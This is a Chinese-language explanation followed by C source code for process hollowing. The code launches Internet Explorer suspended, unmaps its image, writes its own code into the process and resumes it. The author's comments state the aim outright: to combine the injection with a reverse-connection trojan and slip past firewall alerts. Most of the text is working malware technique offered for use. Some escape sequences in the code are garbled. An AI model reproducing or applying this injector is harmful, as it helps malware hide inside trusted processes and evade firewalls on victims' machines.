直接将自身代码注入傀儡进程，不需要DLL。首先用CreateProcess来创建一个挂起的IE进程，创建时候就把它挂起。然后得到它的装载基址，使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据，。再用VirtualAllocEx来个ie进程重新分配内存空间，大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址，就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态，最后使用ResumeThread继续运行IE进程。
/*********************************************************************
Author: Polymorphours
Date: 2005/1/10
另一种将自己代码注入傀儡进程的方法，配合反弹木马，可绕过防火墙的
反向连接报警。
**********************************************************************/
#include <stdio.h>
#include <windows.h>
BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr);
typedef struct _ChildProcessInfo {
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;
BOOL
FindIePath(
char *IePath,
int *dwBuffSize
);
BOOL InjectProcess(void);
DWORD
GetSelfImageSize(
HMODULE hModule
);
BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);
char szIePath[MAX_PATH];
int main(void)
{
if (InjectProcess() )
{
printf("This is my a test code,made by (Polymorphours)shadow3./r/n");
}
else
{
MessageBox(NULL,"进程插入完成","Text",MB_OK);
}
return 0;
}
BOOL FindIePath(OUT char *IePath, OUT int *dwBuffSize)
{
char szSystemDir[MAX_PATH];
GetSystemDirectory(szSystemDir,MAX_PATH);
szSystemDir[2] = '/0';
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe");
lstrcpy(IePath, szSystemDir);
return TRUE;
}
BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;
STARTUPINFO si;
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;
HMODULE hModule = NULL;
ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );
GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );
if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
{ //当前运行在IE空间里
return FALSE;
}
hModule = GetModuleHandle( NULL );
if ( hModule == NULL )
{
return FALSE;
}
pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);
dwImageSize = GetSelfImageSize(hModule);
// 以挂起模式启动一个傀儡进程,这里为了传透防火墙，使用IE进程
if ( CreateInjectProcess(&pi, &ThreadCxt, &stChildProcess ))
{
printf("CHILD PID: [%d]/r/n",pi.dwProcessId);
// 卸载需要注入进程中的代码
if( UnloadShell(pi.hProcess, stChildProcess.dwBaseAddress) )
{
// 重新分配内存
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if( lpVirtual )
{
printf("Unmapped and Allocated Mem Success./r/n");
}
}
else
{
printf("ZwUnmapViewOfSection() failed./r/n");
return TRUE;
}
if(lpVirtual)
{
PPEB = (DWORD *)ThreadCxt.Ebx;
// 重写装载地址
WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite);
// 写入自己进程的代码到目标进程
if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) )
{
printf("image inject into process success./r/n");
ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
#ifdef DEBUG
printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
#endif
SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);
}
else
{
printf("WirteMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}
else
{
printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}
return TRUE;
}
DWORD GetSelfImageSize(HMODULE hModule)
{
DWORD dwImageSize;
_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax
}
return dwImageSize;
}
BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess )
{
STARTUPINFO si;
DWORD *PPEB;
DWORD read;
// 使用挂起模式启动ie
if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi ))
{
pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);
PPEB = (DWORD *)pThreadCxt->Ebx;
// 得到ie的装载基地址
ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read );
return TRUE;
}
return FALSE;
}
BOOL UnloadShell(HANDLE ProcHnd, unsigned long BaseAddr)
{
typedef unsigned long (__stdcall *pfZwUnmapViewOfSection)(unsigned long, unsigned long);
pfZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
BOOL res = FALSE;
HMODULE m = LoadLibrary("ntdll.dll");
if(m)
{
ZwUnmapViewOfSection = (pfZwUnmapViewOfSection)GetProcAddress(m, "ZwUnmapViewOfSection");
if(ZwUnmapViewOfSection)
res = (ZwUnmapViewOfSection((unsigned long)ProcHnd, BaseAddr) == 0);
FreeLibrary(m);
}
return res;
}
